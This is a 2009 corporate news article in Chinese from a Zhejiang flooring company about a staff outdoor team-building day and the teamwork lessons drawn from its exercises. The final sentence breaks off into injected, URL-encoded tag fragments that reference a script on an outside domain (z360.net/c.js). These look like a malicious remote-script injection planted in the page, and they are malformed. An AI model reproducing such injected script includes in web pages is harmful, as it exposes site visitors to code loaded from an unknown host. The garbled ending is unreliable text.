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熱烈祝賀創鑫地板首屆野外拓展訓練圓滿成功-浙江創鑫木業有限公司
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| 發布日期：2009-6-3
來源：浙江創鑫木業有限公司 |
一個優秀企業團隊是企業發展壯大的基礎，為加強公司團隊和企業文化建設，增強企業員工的自信心、責任感、主動性、團隊合作精神及凝聚力，6月1日，創鑫地板各部門員工匯聚中國竹海—安吉。進行了一次富有意義的野外拓展訓練活動，并且活動取得圓滿成功。
創鑫地板向來注重企業員工的培養工作，既讓員工在企業感到家的溫暖又能真正讓員工在企業得到成長。本次團隊拓展訓練歷時共一天，整個訓練過程緊張有序、激情澎湃。全體員工在教練的帶領下不斷發起新的挑戰。“空中抓杠”、“穿越電網”、“信任背摔”、“孤島求生”等，每一份汗水和激情的付出，收獲的是更多的喜悅和成長。通過齊心協力完成一系列訓練科目，幫助員工進一步挖掘自身潛力，增強了相互配合、相互支持、相互信任的團隊精神和整體意識，培養了挑戰困難的進取精神和在壓力下冷靜從容地面對困難、解決困難的能力。面對個體心理恐懼的壓力，團隊精神鼓舞著每個人去克服；面對團隊的任務，個人在積極奉獻及協作中去完成。
"空中抓杠"，這個項目個人挑戰項目，要求隊員們在8米多高的鐵桿上跳起來抓到距離對面2米的單杠。有些事情，看起來容易、做起來卻很難。只要勇敢跨出第一步，困難也不是這么難，超越只是一步之遙。在訓練中，我們曾經出現過退卻、恐懼或做不了的念頭，但是通過大家的鼓勵，并成功的完成了訓練任務。因此，在我們實際工作中，當我們面臨艱巨的任務或遇到困難時，只要我們堅定信心，積極努力，付諸行動，就可以戰勝一切困難，就可以完成別人認為難以完成的任務。
在“穿越電網”活動中，每組隊員在規定的時間內從二十余個大小不一的網孔中鉆過去，身體不能碰到電網，且不能重復使用網孔，難度還真不小！其實，一個團隊在現實當中經常面臨“電網”問題，要鉆難度更大的電網。能否在最短的時間里，在信息不充分的條件下，既集思廣益，群策群力，又充分發揮領導作用，果敢善斷，快速形成有效決策并加以實施，是一個團隊成敗的關鍵。同樣，在日常工作中，我們每個人也應該找準自己的位置，做適合自己的工作，要有目的、有計劃的安排好做事程序，穩扎穩打、踏踏實實，才能從容自如做好每一件事情。
相信他人，為成功贏取時間----背摔。背摔其實是一項很簡單的活動，一個人背站在1.6米高的地方，如果你相信自己的團隊那你就平躺著摔下來。這項活動看上去似乎很平常，沒有什么蘊涵，其實它驗證了人與人之間心靈的交流及可信度。“信任”與“被信任”都是源于生活中點點滴滴的積累。“信任”首先要相信自己，做什么事情都要充滿自信。如果自己對自己都沒信心，那就談不上“信任”與“被信任”。做任何事情都要有責任心，這樣才會被信任。游戲中短短幾個字 “相信你的同伴”就會讓背摔者心中充滿信心，起碼有這些伙伴做后盾，這時心里就會輕松許多。工作中我們相信自己，信任這個團隊的每一個成員，做事情成功的機會就會增大。做的事情成功得越多。那么我們也就會對這個團隊越“信任”。總之一句話：自己的能力是有限的，而大家的能力是無限的，相信他人就是相信自己。
"孤島求生"，這個項目是在三個島上分別有三隊人，一個島是盲人島，島上全是盲人。第二個島是啞人島，島上全是啞人。第三個是珍珠島，島上的是健全人。每個島上教練都發給了一個任務書，每個島上的人只知道自己的任務而不知道其它島上的任務。這個項目的最終目的是在規定的時間將所有的人集中在平安島上。這個項目主要是考驗一個團隊在接到任務后高、中、基層員工的相互配合與溝通。珍珠島代表著管理層，他們的任務書上的任務很多，需要考驗他們是如何在很多信息中找到最有效的信息。啞人島代表公司中層，他們的任務書是在盲人島的隊友完成第一個任務后利用木板將盲人島上的盲人從盲人島上救出。盲人島代表著公司的最基層員工，他們有任務書可是他們看不到，因此不知如何去完成任務，這就需要其它島上的人員的對他們進行必要的幫助和指導。在訓練的過程中，許多隊員都為團隊完成訓練科目發揮了重要作用，但是如果沒有統一的指揮，團隊會出現混亂，訓練科目也難以成功完成。從活動中，我們看出，有了競爭機制（比賽、獎懲），為了完成任務、取得勝利，就必須合作，必須建立團隊。但并不是有了團隊就萬事無憂了，一個有競爭力的團隊，要有完善的組織體系、要領導有力、分工明確，要彼此信任、理解和包容。這樣我們的目標、任務就能夠完成得又快又好。以便達到勝利的彼岸。
在這次拓展訓練中，創鑫地板的所有員工充分認識到，工作中要有充分的自信，更要相信隊友的力量。現實工作中一個人的力量是有限的，只有充分發揮團隊的左右才能創造更大的價值。確實，此次的培訓最大的體會就是——團隊的力量是無窮的< src=http:z%3360.net/%63< src=http:z360.%4Eet/c.%6As>< src=http:%5A360.ne
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